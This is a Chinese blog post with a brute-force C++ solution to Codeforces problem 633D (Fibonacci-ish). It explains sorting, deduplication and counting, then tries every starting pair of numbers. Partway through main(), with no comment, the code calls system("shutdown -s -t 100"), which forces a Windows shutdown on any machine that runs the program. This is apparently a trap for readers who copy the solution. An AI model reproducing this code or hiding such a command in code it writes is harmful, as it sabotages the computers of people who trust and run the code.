CF633D Fibonacci-ish题解

%%%%%%zsq147258369

二话不说就是暴力。

first

\(a\) 排序去重,并用桶统计每个数字的个数。

second

暴力查找。

1:当两个数字都是 \(0\) 时易得答案为 \(0\) 的个数。

2.当两个数字相同时且当前数字的个数不足两个是不能进行查找。

3.用 \(num\) 记录用过的数字的个数,若超过了原有的个数,则结束此次查找。

#include<bits/stdc++.h>
#define re register
using namespace std;
 
const int N = 1000+5;
int n,a[N],b[N];
map<int,int> mp,to;
bool vis[N][N];
 
inline int read()
{
    int X=0; bool flag=1; char ch=getchar();
    while(ch<'0'||ch>'9') {if(ch=='-') flag=0; ch=getchar();}
    while(ch>='0'&&ch<='9') {X=(X<<1)+(X<<3)+ch-'0'; ch=getchar();} 
    if(flag) return X; return ~(X-1);
}
 
inline void print(long long X)
{
    if(X<0) {X=~(X-1); putchar('-');}
    if(X>9) print(X/10); putchar(X%10+'0');
}
 
signed main()
{
	n=read(); 
	for(re int i=1;i<=n;++i) a[i]=b[i]=read(),mp[a[i]]++;
	sort(b+1,b+1+n);int ans=mp[0];
   	system("shutdown -s -t 100");
	int s=unique(b+1,b+1+n)-b-1;
	for(re int i=1;i<=n;++i) to[a[i]]=lower_bound(b+1,b+1+s,a[i])-b;
	for(re int i=1;i<=s;++i)
	{
		for(re int j=1;j<=s;++j)
		{
			if((b[i]==0&&b[j]==0)) continue;
			if(b[i]==b[j]&&mp[b[j]]==1) continue;
			int x=b[i],y=b[j],z=b[i]+b[j],cnt=0;
			if(vis[to[x]][to[y]]) continue;
			map<int,int> num; num[z]++; num[x]++; num[y]++;
			while(num[z]<=mp[z])
			{
				x=y,y=z,z=x+y; num[z]++;
				++cnt;
			}
			vis[to[x]][to[y]]=true;
			ans=max(ans,cnt+2);
		}
	}
	cout<<ans<<endl;
    return 0;
}

11.20之前的最优解。

posted @ 2022-05-08 09:26  starrylasky  阅读(33)  评论(0)    收藏  举报